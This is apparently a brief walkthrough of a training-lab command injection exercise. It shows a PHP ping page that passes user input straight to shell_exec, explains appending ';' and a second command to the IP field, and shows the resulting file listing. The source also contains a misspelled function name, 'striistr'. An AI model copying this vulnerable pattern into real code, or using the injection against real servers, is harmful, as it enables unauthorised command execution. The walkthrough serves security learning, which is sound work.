

Command Injection

Ping a device

Enter an IP address:

- We are given the function to ping device so we fill the IP or domain to ping

Ping a device

Enter an IP address:

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.  
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.021 ms  
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.064 ms  
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.034 ms  
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.026 ms  
  
--- 127.0.0.1 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 3051ms  
rtt min/avg/max/mdev = 0.021/0.036/0.064/0.016 ms
```

- The command return the value of the ping result
- Viewing the source code, we can see the syntax of ping command

```

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( striistr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

```

- We want to inject another command, so we can type the IP or domain, then use `;` and write the command we want behind

Ping a device

Enter an IP address:

```

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.032 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.031 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.028 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.032 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3063ms
rtt min/avg/max/mdev = 0.028/0.030/0.032/0.001 ms
help
index.php
source

```